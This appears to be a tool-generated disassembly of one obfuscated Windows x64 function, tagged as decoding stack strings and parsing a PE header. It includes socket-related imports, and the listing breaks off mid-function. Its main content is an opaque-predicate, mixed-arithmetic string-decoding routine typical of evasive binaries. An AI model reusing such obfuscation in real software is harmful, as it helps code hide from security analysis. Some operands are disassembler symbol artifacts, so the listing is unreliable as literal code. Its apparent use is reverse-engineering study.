Function at 0x140073270
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1080]
mov eax, 0x1180
call fcn.140199890
sub rsp, rax
mov rax, qword [0x140236800]
xor rax, rsp
mov qword [rbp + 0x1070], rax
cmp byte [0x1402389cc], 0
jne 0x1400732c1
call fcn.1400706a0
jmp 0x1400a3053
mov rax, qword [0x1402389d0]
or dword [rax + 0x47b8], 2
mov dword [rax + 0x47d8], 0x43c80000
mov dword [rax + 0x47dc], 0x43e10000
mov dword [rax + 0x47c0], 2
mov byte [rbp + 0xa48], 0xae
mov byte [rbp + 0xa49], 0xb4
mov byte [rbp + 0xa4a], 0xc0
mov byte [rbp + 0xa4b], Ordinal_200
mov byte [rbp + 0xa4c], Ordinal_217
mov byte [rbp + 0xa4d], 0x45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa4e], xmm0
mov qword [rbp + 0xa5e], rax
mov dword [rbp + 0xa66], eax
mov byte [rbp + 0xa6a], al
movabs rsi, 0xe651772ef85371fc
movabs r13, 0x604d05ace740ed0c
movabs r14, 0x49d214e19040b584
movabs r12, 0x89380987c1bedb6c
lea r15, [rax - 1]
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor r11d, r11d
cmp r11, 0x23
jae 0x1400741f7
movzx edi, byte [rbp + r11 + 0xa48]
mov ebx, edi
nop dword [rax + rax]
cmp r8, r11
ja 0x1400741ee
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400733cc
lea rcx, [r11 + r13]
mov rax, rbx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rbx
add r10, rcx
sub r10b, 0x54
jmp 0x140073405
je 0x140074159
inc rax
cmp r8, rax
je 0x140074121
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400740bc
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007408e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007405d
cmp r9, r11
ja 0x1400741e5
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x140073436
lea rdx, [r11 + rsi]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073480
lea rax, [r9 + 1]
cmp r8, rax
je 0x140074003
inc rax
cmp r8, rax
je 0x140073fd5
lea rax, [r9 + 2]
cmp r8, rax
je 0x140073f9f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073f67
lea rax, [r9 + 6]
cmp r8, rax
je 0x140073ec9
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140073b13
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140073aef
lea rax, [r9 + 4]
cmp r8, rax
je 0x140073abd
lea rax, [r9 + 1]
cmp r8, rax
je 0x140073a93
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140073a6f
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140073a33
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400739ff
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400739db
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400739b2
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007397c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140073490
lea r8, [r9 + 0x64]
lea r9, [r8 + 0xa]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400741bc
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140074193
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007367b
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007365c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007363d
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140073918
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400738bd
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140073869
lea rcx, [r9 + 0x20]
cmp r8, rcx
jb 0x14007383a
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140073490
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400737ff
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400737d6
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400737b2
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x140073779
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140073742
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x14007371e
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400736ef
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400736c2
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14007369e
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x140073490
lea r8, [r9 + 0x41]
lea r9, [r8 + 1]
jmp 0x140073490
lea rdx, [r11 + r14]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140073480
lea rdx, [r11 + r12]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140073405
movabs rcx, 0xc89dfe2df33d0154
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x4c
jmp 0x1400733a0
movabs rcx, 0x328bb977c29b8fe0
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x20
jmp 0x140074026
movabs rcx, 0x71f1ae1df419b5c8
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x78
inc r9
dec r11
inc r11
jmp 0x140073383
movabs rdx, 0xb157a2c42597dbb0
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec r11
inc r11
jmp 0x140073383
movabs rcx, 0xf0bd976a57160198
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x28
jmp 0x1400740de
movabs rcx, 0x30238c1088942780
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rdx, 0x6f8980b6ba124d68
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rcx, 0xaeef755ceb907350
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x30
jmp 0x140073eeb
movabs rdx, 0xee556a031d0e9938
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140073f1f
movabs rdx, 0x2dbb5ea94e8cbf20
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + r11 + 0xa48]
add rax, r9
add r11, rax
inc r11
jmp 0x140073383
movabs rcx, 0x4c3a4248ca481de4
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x3c
mov byte [rbp + r11 + 0xa48], r10b
inc r11
jmp 0x140073383
movabs rdx, 0x8ba036eefbc643cc
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
cmp r9, 3
jb 0x140073859
movabs rcx, 0x5eb042e423de72c8
add rcx, r11
movzx eax, cl
and al, dil
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea r10d, [rdx + rdx]
jmp 0x140074026
movabs rdx, 0xcb062b952d4469b4
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
cmp r8, 0x80
jae 0x140073e6b
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140073d8c
movabs rdx, 0xd8abd16212cbedd8
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, recv
jmp 0x140073881
movabs rcx, 0xa6c203b5ec28f9c
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x44
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x140073e9b
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140073c36
movabs rdx, 0xf25a5a331a787bdc
add rdx, r11
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 4
add r10b, dl
jmp 0x1400738e1
movabs rcx, 0x65e8cb19d1f4abe8
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x58
movzx eax, byte [rbp + r11 + 0xa48]
add rax, r9
add r11, rax
inc r11
jmp 0x140073383
movabs rdx, 0xa54ebfc00372d1d0
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140073f1f
movabs rcx, 0xe4b4b46634f0f7b8
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 8
jmp 0x140073eeb
movabs rcx, 0x241aa90c666f1da0
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x60
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rdx, 0x63809db297ed4388
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rcx, 0xa2e69258c96b6970
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x10
jmp 0x1400740de
movabs rcx, 0xe24c86fefae98f58
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x68
dec r11
inc r11
jmp 0x140073383
movabs rdx, 0x21b27ba52c67b540
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
inc r9
dec r11
inc r11
jmp 0x140073383
movabs rcx, 0x6118704b5de5db28
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x18
jmp 0x140074026
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140073b36
lea rcx, [r11 + r13]
movzx eax, cl
and al, bl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x54
jmp 0x140073937
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073b7a
movabs rdx, 0xcca2ee5df0a6e3f8
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + r11 + 0xa48]
add rax, r9
add r11, rax
inc r11
jmp 0x140073383
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140073bbc
movabs rdx, 0xe71106b5c2c7240
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073bfc
movabs rcx, 0xcf0b1bc52aae4c58
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x68
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140073937
movabs rcx, 0x10d93dd29633daa0
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x60
inc r9
dec r11
inc r11
jmp 0x140073383
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073c68
movabs rdx, 0xb2f4658ce8fa55f4
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140074026
inc rax
cmp r8, rax
jne 0x140073c9d
movabs rcx, 0x738e70e6b77c300c
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x54
inc r9
dec r11
inc r11
jmp 0x140073383
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140073cd5
movabs rdx, 0x34287c4085fe0a24
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec r11
inc r11
jmp 0x140073383
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073d17
movabs rdx, 0x75f69e4df183986c
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140073d44
movabs rcx, 0xf72ab5018e874c9c
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x44
jmp 0x140073f1f
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400738e1
movabs rdx, 0xb7c4c05b5d0926b4
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + r11 + 0xa48]
add rax, r9
add r11, rax
inc r11
jmp 0x140073383
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073dd0
movabs rdx, 0x9945dcbbe14dc7f0
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + r11 + 0xa48]
add rax, r9
add r11, rax
inc r11
jmp 0x140073383
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140073e02
movabs rdx, 0x1a79f36f7e517c20
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140073eeb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140073e35
movabs rcx, 0x1ce220d6b858e480
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x80
dec r11
inc r11
jmp 0x140073383
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007388d
movabs rdx, 0x9e16378a555c98b0
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140074026
movabs rdx, 0x1f4a4e3df2604ce0
add rdx, r11
movzx eax, dl
and al, dil
add al, al
movzx r10d, byte [rbp + r11 + 0xa48]
sub r10b, al
sub r10b, 0x20
add r10b, dl
add r10b, dil
jmp 0x1400740de
movabs rdx, 0xdfe45997c0e226f8
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + r11 + 0xa48]
add r10b, dl
add r10b, dil
jmp 0x140073eeb
movabs rdx, 0x2a87c6a39de068a4
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x7c
add r10b, dl
movabs rdx, 0x40315f44a8231404
add rdx, r11
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x1c
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xa48], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0xa07e64f18f640110
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x70
add cl, dil
mov byte [rbp + r11 + 0xa48], cl
inc r8
mov rax, r15
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xa48]
add rax, r9
add r11, rax
inc r11
jmp 0x140073383
movabs rdx, 0x69edbb49cf5e8e8c
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rcx, 0xa953aff000dcb474
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2c
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rdx, 0x281f993c63d90044
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec r11
inc r11
jmp 0x140073383
movabs rdx, 0xa6eb8288c6d54c14
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rdx, 0xbefd48910b1f5fd4
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + r11 + 0xa48], cl
inc r9
dec r11
inc r11
jmp 0x140073383
movabs rdx, 0x651d607b5b4fbdcc
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec r11
inc r11
jmp 0x140073383
movabs rdx, 0xa48355218ccde3b4
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x140073383
movabs rdx, 0xe3e949c7be4c099c
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x44
add r10b, dl
movabs rdx, 0x7f9753ead9a139ec
add rdx, r11
movzx eax, dl
and al, dil
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x74
add cl, dl
add cl, dil
mov byte [rbp + r11 + 0xa48], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rdx, 0x62b533142148556c
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073383
movabs rdx, 0x20e71106b5c2c724
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + r11 + 0xa48]
add rax, r9
add r11, rax
inc r11
jmp 0x140073383
movabs rdx, 0x803f2d424bb273c
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140073380
movabs rdx, 0x4769e77a56394d24
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140073370
lea rcx, [rbp + 0x15f4e58]
jmp 0x1400741fe
lea rcx, [rbp + 0xe03b64]
jmp 0x1400741fe
lea rcx, [rbp + 0xa48]
xor edx, edx
mov r8d, 0x100
call fcn.140011d80
mov byte [rbp + 0xa70], Ordinal_211
mov byte [rbp + 0xa71], 0xe2
mov byte [rbp + 0xa72], 0xe2
mov byte [rbp + 0xa73], 0xde
mov byte [rbp + 0xa74], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa75], xmm0
mov qword [rbp + 0xa85], rax
mov dword [rbp + 0xa8d], eax
mov word [rbp + 0xa91], ax
movabs rdi, 0x9ba97ca1da844659
movabs rsi, 0xa4cf8e47b2901ac7
movabs r12, 0x139a5b44a8e1ba35
movabs r14, 0x7d9ad7be60cca65d
movabs r13, 0x566621350f0931f3
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140075178
movzx r10d, byte [rbp + rbx + 0xa70]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007516f
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400742ec
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x73
jmp 0x140074333
je 0x1400750e9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007504d
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007501a
lea rax, [r9 + 4]
cmp r8, rax
je 0x140074fe3
lea rax, [r9 + 5]
cmp r8, rax
je 0x140074f82
lea rax, [r9 + 6]
cmp r8, rax
je 0x140074f2d
cmp r9, rbx
ja 0x140075166
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14007435d
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6f
jmp 0x1400743a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140074f0b
inc rax
cmp r8, rax
je 0x140074edd
lea rax, [r9 + 2]
cmp r8, rax
je 0x140074eb2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140074e7e
lea rax, [r9 + 6]
cmp r8, rax
je 0x140074e48
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140074a3b
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x140074a17
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400749ea
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400749bf
lea rax, [r9 + 9]
cmp r8, rax
je 0x140074997
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007495f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140074926
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400748fd
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400748d4
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007489a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400743b0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140075142
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007511d
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140074594
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140074579
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007455a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140074835
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400747d2
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140074783
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140074754
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400743b0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007471e
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400746fa
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400746d6
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007469d
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140074661
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140074638
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140074609
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400745d7
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400745b2
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400743b0
lea r8, [r9 + 0x41]
lea r9, [r8 + 8]
jmp 0x1400743b0
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x71
add r11b, dl
jmp 0x1400743a0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x75
jmp 0x140074333
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x5b
add r11b, dl
jmp 0x1400742b5
movabs rdx, 0xdd4be50ed42232c8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
jmp 0x140074f4d
movabs rdx, 0xb6172e85825ebe5e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400742a2
movabs rdx, 0x8ee277fc309b49f4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400742a2
movabs rdx, 0x67adc172ded7d58a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074fa1
movabs rdx, 0x40790ae98d146120
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
movabs rdx, 0x194454603b50ecb6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400742a2
movabs rcx, 0xf20f9dd6e98d784c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
jmp 0x14007506f
movabs rcx, 0xcadae74d97ca03e2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
jmp 0x14007509f
movabs rcx, 0xa3a630c446068f78
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x48
movzx eax, byte [rbp + rbx + 0xa70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400742a2
movabs rcx, 0x41a2686cf99dec6f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 9
mov byte [rbp + rbx + 0xa70], r11b
inc rbx
jmp 0x1400742a2
movabs rcx, 0x1a6db1e3a7da7805
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x23
cmp r9, 0x41
jb 0x140074773
movabs rdx, 0xcf805d5b49f0311e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140074f50
movabs rdx, 0xf338fb5a5617039b
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3d
add r11b, dl
cmp r8, 0x2a
jae 0x140074de6
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140074ccc
movabs rdx, 0x47713bfe184da4fa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400747a2
movabs rdx, 0xcc0444d104538f31
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x57
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x140074e17
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x140074b8a
